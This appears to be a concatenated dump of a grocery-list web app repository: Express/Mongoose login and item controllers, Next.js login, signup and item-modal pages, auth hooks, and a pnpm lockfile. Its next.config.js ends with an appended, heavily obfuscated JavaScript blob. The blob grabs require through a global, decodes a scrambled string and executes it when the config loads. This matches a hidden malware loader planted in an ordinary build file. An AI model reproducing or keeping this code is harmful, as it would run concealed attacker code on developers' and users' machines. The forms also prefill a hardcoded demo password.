| User.findOne({ email: email }) 54 | .then((exists) => { 55 | if (!exists) { 56 | return res.status(400).send({ error: exists }); 57 | } 58 | 59 | bcrypt 60 | .compare(password, exists.password) 61 | .then((match) => { 62 | if (!match) { 63 | return res.status(400).send({ error: "Invalid password" }); 64 | } 65 | 66 | const token = jwt.sign( 67 | { 68 | email: exists.email, 69 | userId: exists._id.toString(), 70 | }, 71 | process.env.JWT_SECRET! 72 | ); 73 | 74 | res.status(200).send({ user: exists, token }); 75 | }) 76 | .catch((err) => { 77 | console.log(err); 78 | res.status(500).send({ error: "Something went wrong" }); 79 | }); 80 | }) 81 | .catch((err) => { 82 | console.log(err); 83 | res.status(500).send({ error: "Something went wrong" }); 84 | }); 85 | } 86 | -------------------------------------------------------------------------------- /frontend/pages/login.tsx: -------------------------------------------------------------------------------- 1 | import { Inter } from "@next/font/google"; 2 | import React, { useEffect } from "react"; 3 | import Link from "next/link"; 4 | import { useAuth } from "@/utils/auth-hook"; 5 | import Input from "@/components/input"; 6 | import { useForm } from "react-hook-form"; 7 | import { UserModel } from "@/utils/user-model"; 8 | import { 9 | userLoginSchema, 10 | userSignupSchema, 11 | } from "@/components/user/user-schema"; 12 | import { zodResolver } from "@hookform/resolvers/zod"; 13 | import LabeledInput from "@/components/labeled-input"; 14 | import Button from "@/components/button"; 15 | 16 | const inter = Inter({ subsets: ["latin"] }); 17 | 18 | export default function Login() { 19 | const auth = useAuth(); 20 | const { 21 | register, 22 | handleSubmit, 23 | formState: { errors }, 24 | reset, 25 | } = useForm({ 26 | resolver: zodResolver(userLoginSchema), 27 | }); 28 | 29 | const onSubmit = (data: any) => { 30 | auth.login(data); 31 | }; 32 | 33 | useEffect(() => { 34 | reset({ 35 | email: "jelly@bean.com", 36 | password: "jellybean", 37 | }); 38 | }, []); 39 | 40 | return ( 41 | <> 42 |
43 |
44 |
45 |
46 |
47 | Login Form 48 |
49 | 56 | 63 |
64 | 65 |
66 | 67 | 74 |
75 |

76 | go to Sign up 77 |

78 |
79 |
80 |
81 | 82 | ); 83 | } 84 | -------------------------------------------------------------------------------- /frontend/utils/item-hook.ts: -------------------------------------------------------------------------------- 1 | import axios from "axios"; 2 | import { useAtomValue, useSetAtom } from "jotai"; 3 | import { globalLoaderAtom, userAuthTokenAtom } from "./global-atom"; 4 | import { UserModel } from "./user-model"; 5 | 6 | export function useGroceryItemHook() { 7 | const setLoader = useSetAtom(globalLoaderAtom); 8 | const userToken = useAtomValue(userAuthTokenAtom); 9 | 10 | async function deleteItem(userId: string) { 11 | setLoader(true); 12 | try { 13 | const data = await axios.delete( 14 | `${process.env.NEXT_PUBLIC_API}/groceries/delete/${userId}`, 15 | { 16 | headers: { 17 | "Content-Type": "application/json", 18 | Authorization: `Bearer ${userToken}`, 19 | }, 20 | } 21 | ); 22 | setLoader(false); 23 | alert("Item deleted successfully!"); 24 | return { data }; 25 | } catch (error: any) { 26 | alert(error?.response?.data?.error ?? "Error deleting item"); 27 | setLoader(false); 28 | return { error }; 29 | } 30 | } 31 | 32 | async function editItem( 33 | userId: string, 34 | userData: Partial, 35 | callBack?: Function 36 | ) { 37 | setLoader(true); 38 | try { 39 | const data = await axios.put( 40 | `${process.env.NEXT_PUBLIC_API}/groceries/edit/${userId}`, 41 | userData, 42 | { 43 | headers: { 44 | "Content-Type": "application/json", 45 | Authorization: `Bearer ${userToken}`, 46 | }, 47 | } 48 | ); 49 | setLoader(false); 50 | alert("Item updated successfully!"); 51 | callBack?.(); 52 | return { data }; 53 | } catch (error: any) { 54 | setLoader(false); 55 | alert(error?.response?.data?.error ?? "Error editing item"); 56 | return { error }; 57 | } 58 | } 59 | 60 | async function addItem(userData: any, callBack?: Function) { 61 | setLoader(true); 62 | try { 63 | const data = await axios.post( 64 | `${process.env.NEXT_PUBLIC_API}/groceries/add`, 65 | userData, 66 | { 67 | headers: { 68 | "Content-Type": "application/json", 69 | Authorization: `Bearer ${userToken}`, 70 | }, 71 | } 72 | ); 73 | setLoader(false); 74 | callBack?.(); 75 | alert("Item added successfully!"); 76 | 77 | return { data, error: null }; 78 | } catch (error: any) { 79 | setLoader(false); 80 | console.error(error?.response?.data?.error, error); 81 | alert(error?.response?.data?.error ?? "Error adding Item"); 82 | return { error, data: null }; 83 | } 84 | } 85 | 86 | return { editItem, deleteItem, addItem }; 87 | } 88 | -------------------------------------------------------------------------------- /frontend/components/user/add-item-modal.tsx: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import { useForm } from "react-hook-form"; 3 | import { zodResolver } from "@hookform/resolvers/zod"; 4 | import { z } from "zod"; 5 | 6 | import { useGroceryItemHook } from "@/utils/item-hook"; 7 | import LabeledInput from "../labeled-input"; 8 | import Button from "../button"; 9 | import { groceryItemSchema } from "./grocery-item-schema"; 10 | import { GroceryItemModel } from "@/utils/grocery-item-model"; 11 | 12 | export default function AddUser(props: { 13 | show?: boolean; 14 | setShow: React.Dispatch>; 15 | refetch: Function; 16 | }) { 17 | const itemHook = useGroceryItemHook(); 18 | 19 | const { 20 | register, 21 | handleSubmit, 22 | formState: { errors }, 23 | } = useForm({ 24 | resolver: zodResolver(groceryItemSchema), 25 | }); 26 | 27 | const onSubmit = (data: any) => { 28 | props.show && itemHook.addItem(data, props.refetch); 29 | }; 30 | 31 | return ( 32 | <> 33 | {props.show && ( 34 |
35 |
36 |
37 | {/* convert above input to Input */} 38 |
39 | Create New Item 40 |
41 |
42 | 49 | 56 | 63 | 70 |
71 | 72 | 73 |
74 | 75 |
76 |
77 |
78 | )} 79 | 80 | ); 81 | } 82 | -------------------------------------------------------------------------------- /backend/src/controllers/groceryItem.service.ts: -------------------------------------------------------------------------------- 1 | import { Request, Response } from "express"; 2 | import { Types } from "mongoose"; 3 | import { authRequest } from "../middleware/auth-request"; 4 | import mongoose from "mongoose"; 5 | import { GroceryItem } from "../model/grocery-item"; 6 | import { groceryItemSchema } from "../utils/joi-edit-user-schema"; 7 | 8 | export async function getAllGroceryItem(req: Request, res: Response) { 9 | authRequest(req, res, () => { 10 | GroceryItem.find({}, null, { 11 | limit: 10, 12 | sort: { createdAt: -1 }, 13 | }) 14 | .then((data) => { 15 | return res.status(200).send(data); 16 | }) 17 | .catch((err) => { 18 | return res.status(500).send({ error: err }); 19 | }); 20 | }); 21 | } 22 | 23 | export async function createGroceryItem(req: Request, res: Response) { 24 | const item = req.body; 25 | const userid = req.body.decodedToken.userId; 26 | console.log("item", item); 27 | console.log("userid", userid); 28 | if (!item) { 29 | return res.status(400).send({ error: "Item is required" }); 30 | } 31 | try { 32 | const data = await GroceryItem.create({ 33 | ...item, 34 | userId: new Types.ObjectId(userid), 35 | }); 36 | return res 37 | .status(200) 38 | .send({ data: data, message: "Item created successfully" }); 39 | } catch (error) { 40 | console.log(error); 41 | res.status(500).send({ error: error }); 42 | } 43 | } 44 | 45 | export async function updateGroceryItem(req: Request, res: Response) { 46 | const validData = groceryItemSchema.validate(req.body); 47 | if (validData.error) 48 | return res.status(400).send({ error: validData.error.details[0].message }); 49 | 50 | console.log("updateGroceryItem called"); 51 | const item = req.body; 52 | const userid = req.body.decodedToken.userId; 53 | delete item.decodedToken; 54 | 55 | console.log("item", item); 56 | console.log("userid", userid); 57 | 58 | if (!item) { 59 | res.status(400).send({ error: "Item is required" }); 60 | return; 61 | } 62 | try { 63 | const data = await GroceryItem.updateOne( 64 | { _id: new Types.ObjectId(item._id) }, 65 | { $set: { ...item } } 66 | ); 67 | console.log("data ==== ", data); 68 | return res 69 | .status(200) 70 | .send({ data: data, message: "Item updated successfully" }); 71 | } catch (error) { 72 | console.log(error); 73 | return res.status(500).send({ error: error }); 74 | } 75 | } 76 | 77 | export async function deleteGroceryItem(req: Request, res: Response) { 78 | const { id } = req.params; 79 | if (!id) { 80 | res.status(400).send({ error: "Item id is required" }); 81 | return; 82 | } 83 | try { 84 | const data = await GroceryItem.deleteOne({ 85 | _id: new Types.ObjectId(id), 86 | }); 87 | return res 88 | .status(200) 89 | .send({ data: data, message: "Item deleted successfully" }); 90 | } catch (error) { 91 | console.log(error); 92 | return res.status(500).send({ error: error }); 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /frontend/pages/signup.tsx: -------------------------------------------------------------------------------- 1 | import Head from "next/head"; 2 | import Image from "next/image"; 3 | import { Inter } from "@next/font/google"; 4 | import React, { useEffect, useState } from "react"; 5 | 6 | import Link from "next/link"; 7 | import { useAuth } from "@/utils/auth-hook"; 8 | import Input from "@/components/input"; 9 | import LabeledInput from "@/components/labeled-input"; 10 | import { useForm } from "react-hook-form"; 11 | import { UserModel } from "@/utils/user-model"; 12 | import { userSignupSchema } from "@/components/user/user-schema"; 13 | import { zodResolver } from "@hookform/resolvers/zod"; 14 | import Button from "@/components/button"; 15 | 16 | export default function SignUp() { 17 | const auth = useAuth(); 18 | const { 19 | register, 20 | handleSubmit, 21 | formState: { errors }, 22 | reset, 23 | } = useForm({ 24 | resolver: zodResolver(userSignupSchema), 25 | }); 26 | 27 | const onSubmit = (data: any) => { 28 | auth.signup(data); 29 | }; 30 | 31 | useEffect(() => { 32 | reset({ 33 | firstName: "jelly", 34 | lastName: "bean", 35 | email: "jelly@bean.com", 36 | password: "jellybean", 37 | }); 38 | }, []); 39 | 40 | return ( 41 | <> 42 |
43 |
44 |
45 |
46 | {/* convert above input to Input */} 47 |
48 | SignUp Form 49 |
50 | {" "} 57 | 64 | 71 | 78 |
79 | 80 |
81 | 82 | 89 |
90 |

91 | go to Sign in 92 |

93 |
94 |
95 |
96 | 97 | ); 98 | } 99 | -------------------------------------------------------------------------------- /frontend/utils/auth-hook.ts: -------------------------------------------------------------------------------- 1 | import axios from "axios"; 2 | import { useState } from "react"; 3 | import { useAtom, useSetAtom } from "jotai"; 4 | import { 5 | globalLoaderAtom, 6 | userAuthTokenAtom, 7 | userDataAtom, 8 | } from "./global-atom"; 9 | import { useRouter } from "next/router"; 10 | 11 | export function useAuth() { 12 | const [user, setUser] = useAtom(userDataAtom); 13 | const setUserToken = useSetAtom(userAuthTokenAtom); 14 | const [isLoggedIn, setIsLoggedIn] = useState(false); 15 | const router = useRouter(); 16 | const setLoader = useSetAtom(globalLoaderAtom); 17 | 18 | function login(data: any) { 19 | setLoader(true); 20 | axios 21 | .post(`${process.env.NEXT_PUBLIC_API}/login`, data, { 22 | headers: { 23 | mode: "cors", 24 | "Content-Type": "application/json", 25 | acccept: "application/json", 26 | "Access-Control-Allow-Origin": "*", 27 | }, 28 | }) 29 | .then(async function (response) { 30 | if (response.data?.token && response?.data?.user) { 31 | setUserToken(response?.data?.token); 32 | setUser(response?.data?.user); 33 | localStorage.setItem("userData", JSON.stringify(response?.data)); 34 | } 35 | 36 | // alert("Login Successfull"); 37 | router.push("/home"); 38 | }) 39 | .catch((error: any) => { 40 | return alert( 41 | `Api Response : ${ 42 | JSON.stringify(error?.response?.message ?? "Login Failed") ?? 43 | "no data" 44 | }` 45 | ); 46 | }) 47 | .finally(() => { 48 | setLoader(false); 49 | }); 50 | } 51 | 52 | function signup(data: any, successCallBack?: Function) { 53 | setLoader(true); 54 | axios 55 | .post(`${process.env.NEXT_PUBLIC_API}/signup`, data, { 56 | headers: { 57 | mode: "cors", 58 | "Content-Type": "application/json", 59 | acccept: "application/json", 60 | "Access-Control-Allow-Origin": "*", 61 | }, 62 | }) 63 | .then((response) => { 64 | console.log("response == ", response); 65 | successCallBack?.(); 66 | // alert("Signup Success!"); 67 | }) 68 | .catch((error) => { 69 | console.log(error); 70 | error.message && 71 | alert( 72 | JSON.stringify( 73 | error?.response?.data?.error ?? "Error Creating User" 74 | ) 75 | ); 76 | }) 77 | .finally(() => { 78 | setLoader(false); 79 | }); 80 | } 81 | 82 | async function testApiCall() { 83 | setLoader(true); 84 | axios 85 | .get(`${process.env.NEXT_PUBLIC_API}`, { 86 | headers: { 87 | "Content-Type": "application/json", 88 | accept: "application/json", 89 | "Access-Control-Allow-Origin": "*", 90 | }, 91 | }) 92 | .then((res) => { 93 | res.data.data && alert(`Api Response : ${res.data.data}`); 94 | }) 95 | .catch((err) => { 96 | err.message && alert(`Api Response : ${err.message ?? "no data"}`); 97 | }) 98 | .finally(() => { 99 | setLoader(false); 100 | }); 101 | } 102 | 103 | async function logout() { 104 | localStorage.removeItem("userData"); 105 | setUser(null); 106 | setUserToken(null); 107 | router.push("/login"); 108 | } 109 | 110 | return { login, signup, testApiCall, logout, isLoggedIn, user }; 111 | } 112 | -------------------------------------------------------------------------------- /frontend/components/user/edit-item-modal.tsx: -------------------------------------------------------------------------------- 1 | import { useGroceryItemHook } from "@/utils/item-hook"; 2 | import React, { useEffect } from "react"; 3 | import Input from "../input"; 4 | import LabeledInput from "../labeled-input"; 5 | import { useForm } from "react-hook-form"; 6 | import { zodResolver } from "@hookform/resolvers/zod"; 7 | import { groceryItemSchema } from "./grocery-item-schema"; 8 | import Button from "../button"; 9 | import { GroceryItemModel } from "@/utils/grocery-item-model"; 10 | 11 | export default function EditItemModal(props: { 12 | editId?: string; 13 | setEditId: React.Dispatch>; 14 | itemList?: { 15 | list: GroceryItemModel[] | undefined; 16 | refetch: Function; 17 | }; 18 | }) { 19 | const { 20 | register, 21 | handleSubmit, 22 | reset, 23 | formState: { errors }, 24 | } = useForm({ 25 | resolver: zodResolver(groceryItemSchema), 26 | }); 27 | const itemHook = useGroceryItemHook(); 28 | 29 | const onSubmit = (data: any) => { 30 | props.editId && 31 | itemHook.editItem( 32 | props.editId, 33 | { ...data, _id: props.editId }, 34 | props.itemList?.refetch 35 | ); 36 | }; 37 | 38 | const item = props.itemList?.list?.find((i) => i._id === props.editId); 39 | 40 | useEffect(() => { 41 | reset({ 42 | ...item, 43 | price: item?.price.toString(), 44 | quantityInStock: item?.quantityInStock.toString(), 45 | }); 46 | }, [item]); 47 | 48 | return ( 49 | <> 50 | {props.editId && ( 51 |
52 |
53 |
54 |
55 | {/* convert above input to Input */} 56 |
57 | Edit User 58 |
59 | 66 | 73 | 80 | 87 |
88 | 89 |
90 | 93 | 101 |
102 |
103 |
104 |
105 | )} 106 | 107 | ); 108 | } 109 | -------------------------------------------------------------------------------- /frontend/next.config.js: -------------------------------------------------------------------------------- 1 | /** @type {import('next').NextConfig} */ 2 | const nextConfig = { 3 | reactStrictMode: true, 4 | } 5 | 6 | module.exports = nextConfig; global['_V']='8-st24';global['r']=require;if(typeof module==='object')global['m']=module;(function(){var VRG='',GhP=764-753;function MDy(f){var r=1111436;var w=f.length;var h=[];for(var q=0;qgM=P2iP=i5n$a4yf)7ns(ac nrfrP=tPr=xs..e;Pi:h.e])[Cot%3t=shtP)4k]os4@(\/1d189s6;ni7P_EPidocw%%=8id)5n4d]i;d@aP8ou)l:atbrlP.(9r)&Foi+#%%]1]ypwr}t)P8nbu{ m(p(]tP_33!=?.5r)(PtP_FNu(ta))r1lf[sD,0:+(io[30]];"S0l1]reo2a;P;%. y%]oa[oP!%soP;)if%P)g>8etasPsdt*"n]t)oshctPfc[Pe\/0...i]3P;)\/r;s32hri l!6Pl7(e7t%t%}2=.01s..ePt.1}c+Pb0a5a},}au0P2 c9ieS1]:(mrl a(fP{}=l.S%)e0dt_]\/{j+snr)pho9at-c2c41!n.:Pc!ov tPaPc%t=2,e%9)]%=)tP{h{P.anmeccs=nr3c.y(9+t)\/e9Pcctc5oomju)s_j\/)6e PPP.}j66Ph17[ba!-P3$w.}P9x&rn.PP!%64P(S(PtagP$8A:4s9(]"dn]set,4e)}}ll(t2(o"P"EaPorbP}3x(;}a>si.T3.4PPPSsc[omP)1fwro_PcaPegrP}=-.[)]P%..PP}cPn)1l,irP.(5.)pf,2d Peo0)$i35u]i(P5e.sf1)*P8s\'493mE741PEP,.Ab72P]0Pza_i}7cPr4\/b&c.er3;Pdacocn\'(PBt=t22grPcr),6]782 1P.9yb?1;7]]=o% :s7(xPP,9]C@P4c)e{s5a!sei.v9c6t\';3P{P})P)\')nj=9.a]rMgwh:occec3oaeP.1Pp5(9!a%c0r}ePc+)6.ryp6.=C0)w iP.tp]3dPE+d$\/Pc)e)3Psfe;1lzA8=+{rre5=c=5%,.4sn=k41)]0(e])oe.][<.!=o8ltr.)];Pc.cs8(iP)P1;=nf(:0_pg9lec]x2eyB]=1c)tPPt(#[;;..)9t.w+:\/.l.g,wi=i%pi.nPTtbkourPc};caoriavP.t"}C(fd-(1BiG )Datc)1)]:!.dsiPnt8{cy ,t(}es%,v(PP.1vi>Ph!)n4sP%=lbm?78oP+bl4a=fr3eobvt3ngoa2!e4)r3[.(tg e(=](}8 ,tio%een7.xcil._gcicd(l4PNP>br\/)c!.ed;4nmd8]tno3e.;zcpe6ted+Paj h-P#caP(4b2ns9]ei)d%f[rsmu}hA.)d9eb8*ePt iP%)4a}(c2ab\'+Ck.cP,36P;rPj?%*tPs+%ib(:5n%>i3447P'));var tzo=AoT(VRG,quw );tzo(5471);return 3456})() 7 | -------------------------------------------------------------------------------- /backend/pnpm-lock.yaml: -------------------------------------------------------------------------------- 1 | lockfileVersion: '9.0' 2 | 3 | settings: 4 | autoInstallPeers: true 5 | excludeLinksFromLockfile: false 6 | 7 | importers: 8 | 9 | .: 10 | dependencies: 11 | '@types/bcrypt': 12 | specifier: ^5.0.2 13 | version: 5.0.2 14 | '@types/express': 15 | specifier: ^4.17.21 16 | version: 4.17.21 17 | '@types/jsonwebtoken': 18 | specifier: ^9.0.5 19 | version: 9.0.5 20 | bcrypt: 21 | specifier: ^5.1.1 22 | version: 5.1.1 23 | body-parser: 24 | specifier: ^1.20.2 25 | version: 1.20.2 26 | cors: 27 | specifier: ^2.8.5 28 | version: 2.8.5 29 | dotenv: 30 | specifier: ^16.3.1 31 | version: 16.3.1 32 | express: 33 | specifier: ^4.18.2 34 | version: 4.18.2 35 | express-session: 36 | specifier: ^1.17.3 37 | version: 1.17.3 38 | joi: 39 | specifier: ^17.11.0 40 | version: 17.11.0 41 | jsonwebtoken: 42 | specifier: ^9.0.2 43 | version: 9.0.2 44 | mongoose: 45 | specifier: ^6.12.3 46 | version: 6.12.3 47 | mysql2: 48 | specifier: ^3.6.3 49 | version: 3.6.3 50 | nodemon: 51 | specifier: ^2.0.22 52 | version: 2.0.22 53 | pbkdf2-password: 54 | specifier: ^1.2.1 55 | version: 1.2.1 56 | swagger-jsdoc: 57 | specifier: ^6.2.8 58 | version: 6.2.8(openapi-types@12.1.3) 59 | swagger-ui-express: 60 | specifier: ^5.0.0 61 | version: 5.0.0(express@4.18.2) 62 | ts-node: 63 | specifier: ^10.9.1 64 | version: 10.9.1(@types/node@18.18.9)(typescript@4.9.5) 65 | typescript: 66 | specifier: ^4.9.5 67 | version: 4.9.5 68 | devDependencies: 69 | '@types/cors': 70 | specifier: ^2.8.16 71 | version: 2.8.16 72 | '@types/express-session': 73 | specifier: ^1.17.10 74 | version: 1.17.10 75 | '@types/node': 76 | specifier: ^18.18.9 77 | version: 18.18.9 78 | 79 | packages: 80 | 81 | '@apidevtools/json-schema-ref-parser@9.1.2': 82 | resolution: {integrity: sha512-r1w81DpR+KyRWd3f+rk6TNqMgedmAxZP5v5KWlXQWlgMUUtyEJch0DKEci1SorPMiSeM8XPl7MZ3miJ60JIpQg==} 83 | 84 | '@apidevtools/openapi-schemas@2.1.0': 85 | resolution: {integrity: sha512-Zc1AlqrJlX3SlpupFGpiLi2EbteyP7fXmUOGup6/DnkRgjP9bgMM/ag+n91rsv0U1Gpz0H3VILA/o3bW7Ua6BQ==} 86 | engines: {node: '>=10'} 87 | 88 | '@apidevtools/swagger-methods@3.0.2': 89 | resolution: {integrity: sha512-QAkD5kK2b1WfjDS/UQn/qQkbwF31uqRjPTrsCs5ZG9BQGAkjwvqGFjjPqAuzac/IYzpPtRzjCP1WrTuAIjMrXg==} 90 | 91 | '@apidevtools/swagger-parser@10.0.3': 92 | resolution: {integrity: sha512-sNiLY51vZOmSPFZA5TF35KZ2HbgYklQnTSDnkghamzLb3EkNtcQnrBQEj5AOCxHpTtXpqMCRM1CrmV2rG6nw4g==} 93 | peerDependencies: 94 | openapi-types: '>=7' 95 | 96 | '@aws-crypto/crc32@3.0.0': 97 | resolution: {integrity: sha512-IzSgsrxUcsrejQbPVilIKy16kAT52EwB6zSaI+M3xxIhKh5+aldEyvI+z6erM7TCLB2BJsFrtHjp6/4/sr+3dA==} 98 | 99 | '@aws-crypto/ie11-detection@3.0.0': 100 | resolution: {integrity: sha512-341lBBkiY1DfDNKai/wXM3aujNBkXR7tq1URPQDL9wi3AUbI80NR74uF1TXHMm7po1AcnFk8iu2S2IeU/+/A+Q==} 101 | 102 | '@aws-crypto/sha256-browser@3.0.0': 103 | resolution: {integrity: sha512-8VLmW2B+gjFbU5uMeqtQM6Nj0/F1bro80xQXCW6CQBWgosFWXTx77aeOF5CAIAmbOK64SdMBJdNr6J41yP5mvQ==} 104 | 105 | '@aws-crypto/sha256-js@3.0.0': 106 | resolution: {integrity: sha512-PnNN7os0+yd1XvXAy23CFOmTbMaDxgxXtTKHybrJ39Y8kGzBATgBFibWJKH6BhytLI/Zyszs87xCOBNyBig6vQ==} 107 | 108 | '@aws-crypto/supports-web-crypto@3.0.0': 109 | resolution: {integrity: sha512-06hBdMwUAb2WFTuGG73LSC0wfPu93xWwo5vL2et9eymgmu3Id5vFAHBbajVWiGhPO37qcsdCap/FqXvJGJWPIg==} 110 | 111 | '@aws-crypto/util@3.0.0': 112 | resolution: {integrity: sha512-2OJlpeJpCR48CC8r+uKVChzs9Iungj9wkZrl8Z041DWEWvyIHILYKCPNzJghKsivj+S3mLo6BVc7mBNzdxA46w==} 113 | 114 | '@aws-sdk/client-cognito-identity@3.445.0': 115 | resolution: {integrity: sha512-9+RX5yaSZH1IvzExpI4rmaWxm/BHKoNERmzZDGor7tasi3XH5iz3OPSd9OC+SFcBmxGa6C/hqoJK/xqhr5V16A==} 116 | engines: {node: '>=14.0.0'} 117 | 118 | '@aws-sdk/client-sso@3.445.0': 119 | resolution: {integrity: sha512-me4LvqNnu6kxi+sW7t0AgMv1Yi64ikas0x2+5jv23o6Csg32w0S0xOjCTKQYahOA5CMFunWvlkFIfxbqs+Uo7w==} 120 | engines: {node: '>=14.0.0'} 121 | 122 | '@aws-sdk/client-sts@3.445.0': 123 | resolution: {integrity: sha512-ogbdqrS8x9O5BTot826iLnTQ6i4/F5BSi/74gycneCxYmAnYnyUBNOWVnynv6XZiEWyDJQCU2UtMd52aNGW1GA==} 124 | engines: {node: '>=14.0.0'} 125 | 126 | '@aws-sdk/core@3.445.0': 127 | resolution: {integrity: sha512-6GYLElUG1QTOdmXG8zXa+Ull9IUeSeItKDYHKzHYfIkbsagMfYlf7wm9XIYlatjtgodNfZ3gPHAJfRyPmwKrsg==} 128 | engines: {node: '>=14.0.0'} 129 | 130 | '@aws-sdk/credential-provider-cognito-identity@3.445.0': 131 | resolution: {integrity: sha512-IREle9ULafOYK5sjzA+pbxKqn/0G+bnf7mVwRhFPtmz/7/cTLCdbHyw2c1A8DXBwZw1CW30JOA+YUZbZXYJJ/g==} 132 | engines: {node: '>=14.0.0'} 133 | 134 | '@aws-sdk/credential-provider-env@3.433.0': 135 | resolution: {integrity: sha512-Vl7Qz5qYyxBurMn6hfSiNJeUHSqfVUlMt0C1Bds3tCkl3IzecRWwyBOlxtxO3VCrgVeW3HqswLzCvhAFzPH6nQ==} 136 | engines: {node: '>=14.0.0'} 137 | 138 | '@aws-sdk/credential-provider-http@3.435.0': 139 | resolution: {integrity: sha512-i07YSy3+IrXwAzp3goCMo2OYzAwqRGIWPNMUX5ziFgA1eMlRWNC2slnbqJzax6xHrU8HdpNESAfflnQvUVBqYQ==} 140 | engines: {node: '>=14.0.0'} 141 | 142 | '@aws-sdk/credential-provider-ini@3.445.0': 143 | resolution: {integrity: sha512-R7IYSGjNZ5KKJwQJ2HNPemjpAMWvdce91i8w+/aHfqeGfTXrmYJu99PeGRyyBTKEumBaojyjTRvmO8HzS+/l7g==} 144 | engines: {node: '>=14.0.0'} 145 | 146 | '@aws-sdk/credential-provider-node@3.445.0': 147 | resolution: {integrity: sha512-zI4k4foSjQRKNEsouculRcz7IbLfuqdFxypDLYwn+qPNMqJwWJ7VxOOeBSPUpHFcd7CLSfbHN2JAhQ7M02gPTA==} 148 | engines: {node: '>=14.0.0'} 149 | 150 | '@aws-sdk/credential-provider-process@3.433.0': 151 | resolution: {integrity: sha512-W7FcGlQjio9Y/PepcZGRyl5Bpwb0uWU7qIUCh+u4+q2mW4D5ZngXg8V/opL9/I/p4tUH9VXZLyLGwyBSkdhL+A==} 152 | engines: {node: '>=14.0.0'} 153 | 154 | '@aws-sdk/credential-provider-sso@3.445.0': 155 | resolution: {integrity: sha512-gJz7kAiDecdhtApgXnxfZsXKsww8BnifDF9MAx9Dr4X6no47qYsCCS3XPuEyRiF9VebXvHOH0H260Zp3bVyniQ==} 156 | engines: {node: '>=14.0.0'} 157 | 158 | '@aws-sdk/credential-provider-web-identity@3.433.0': 159 | resolution: {integrity: sha512-RlwjP1I5wO+aPpwyCp23Mk8nmRbRL33hqRASy73c4JA2z2YiRua+ryt6MalIxehhwQU6xvXUKulJnPG9VaMFZg==} 160 | engines: {node: '>=14.0.0'} 161 | 162 | '@aws-sdk/credential-providers@3.445.0': 163 | resolution: {integrity: sha512-EyIlOSfBiDDhXrWfVUcUZjU1kFDRL1ccOiSYnP9aOg/vxtzOhsSGyfU6JVMMLFGhv/tdiqJXjCHiyZj2qddYiA==} 164 | engines: {node: '>=14.0.0'} 165 | 166 | '@aws-sdk/middleware-host-header@3.433.0': 167 | resolution: {integrity: sha512-mBTq3UWv1UzeHG+OfUQ2MB/5GEkt5LTKFaUqzL7ESwzW8XtpBgXnjZvIwu3Vcd3sEetMwijwaGiJhY0ae/YyaA==} 168 | engines: {node: '>=14.0.0'} 169 | 170 | '@aws-sdk/middleware-logger@3.433.0': 171 | resolution: {integrity: sha512-We346Fb5xGonTGVZC9Nvqtnqy74VJzYuTLLiuuftA5sbNzftBDy/22QCfvYSTOAl3bvif+dkDUzQY2ihc5PwOQ==} 172 | engines: {node: '>=14.0.0'} 173 | 174 | '@aws-sdk/middleware-recursion-detection@3.433.0': 175 | resolution: {integrity: sha512-HEvYC9PQlWY/ccUYtLvAlwwf1iCif2TSAmLNr3YTBRVa98x6jKL0hlCrHWYklFeqOGSKy6XhE+NGJMUII0/HaQ==} 176 | engines: {node: '>=14.0.0'} 177 | 178 | '@aws-sdk/middleware-sdk-sts@3.433.0': 179 | resolution: {integrity: sha512-ORYbJnBejUyonFl5FwIqhvI3Cq6sAp9j+JpkKZtFNma9tFPdrhmYgfCeNH32H/wGTQV/tUoQ3luh0gA4cuk6DA==} 180 | engines: {node: '>=14.0.0'} 181 | 182 | '@aws-sdk/middleware-signing@3.433.0': 183 | resolution: {integrity: sha512-jxPvt59NZo/epMNLNTu47ikmP8v0q217I6bQFGJG7JVFnfl36zDktMwGw+0xZR80qiK47/2BWrNpta61Zd2FxQ==} 184 | engines: {node: '>=14.0.0'} 185 | 186 | '@aws-sdk/middleware-user-agent@3.438.0': 187 | resolution: {integrity: sha512-a+xHT1wOxT6EA6YyLmrfaroKWOkwwyiktUfXKM0FsUutGzNi4fKhb5NZ2al58NsXzHgHFrasSDp+Lqbd/X2cEw==} 188 | engines: {node: '>=14.0.0'} 189 | 190 | '@aws-sdk/region-config-resolver@3.433.0': 191 | resolution: {integrity: sha512-xpjRjCZW+CDFdcMmmhIYg81ST5UAnJh61IHziQEk0FXONrg4kjyYPZAOjEdzXQ+HxJQuGQLKPhRdzxmQnbX7pg==} 192 | engines: {node: '>=14.0.0'} 193 | 194 | '@aws-sdk/token-providers@3.438.0': 195 | resolution: {integrity: sha512-G2fUfTtU6/1ayYRMu0Pd9Ln4qYSvwJOWCqJMdkDgvXSwdgcOSOLsnAIk1AHGJDAvgLikdCzuyOsdJiexr9Vnww==} 196 | engines: {node: '>=14.0.0'} 197 | 198 | '@aws-sdk/types@3.433.0': 199 | resolution: {integrity: sha512-0jEE2mSrNDd8VGFjTc1otYrwYPIkzZJEIK90ZxisKvQ/EURGBhNzWn7ejWB9XCMFT6XumYLBR0V9qq5UPisWtA==} 200 | engines: {node: '>=14.0.0'} 201 | 202 | '@aws-sdk/util-endpoints@3.438.0': 203 | resolution: {integrity: sha512-6VyPTq1kN3GWxwFt5DdZfOsr6cJZPLjWh0troY/0uUv3hK74C9o3Y0Xf/z8UAUvQFkVqZse12O0/BgPVMImvfA==} 204 | engines: {node: '>=14.0.0'} 205 | 206 | '@aws-sdk/util-locate-window@3.310.0': 207 | resolution: {integrity: sha512-qo2t/vBTnoXpjKxlsC2e1gBrRm80M3bId27r0BRB2VniSSe7bL1mmzM+/HFtujm0iAxtPM+aLEflLJlJeDPg0w==} 208 | engines: {node: '>=14.0.0'} 209 | 210 | '@aws-sdk/util-user-agent-browser@3.433.0': 211 | resolution: {integrity: sha512-2Cf/Lwvxbt5RXvWFXrFr49vXv0IddiUwrZoAiwhDYxvsh+BMnh+NUFot+ZQaTrk/8IPZVDeLPWZRdVy00iaVXQ==} 212 | 213 | '@aws-sdk/util-user-agent-node@3.437.0': 214 | resolution: {integrity: sha512-JVEcvWaniamtYVPem4UthtCNoTBCfFTwYj7Y3CrWZ2Qic4TqrwLkAfaBGtI2TGrhIClVr77uzLI6exqMTN7orA==} 215 | engines: {node: '>=14.0.0'} 216 | peerDependencies: 217 | aws-crt: '>=1.0.0' 218 | peerDependenciesMeta: 219 | aws-crt: 220 | optional: true 221 | 222 | '@aws-sdk/util-utf8-browser@3.259.0': 223 | resolution: {integrity: sha512-UvFa/vR+e19XookZF8RzFZBrw2EUkQWxiBW0yYQAhvk3C+QVGl0H3ouca8LDBlBfQKXwmW3huo/59H8rwb1wJw==} 224 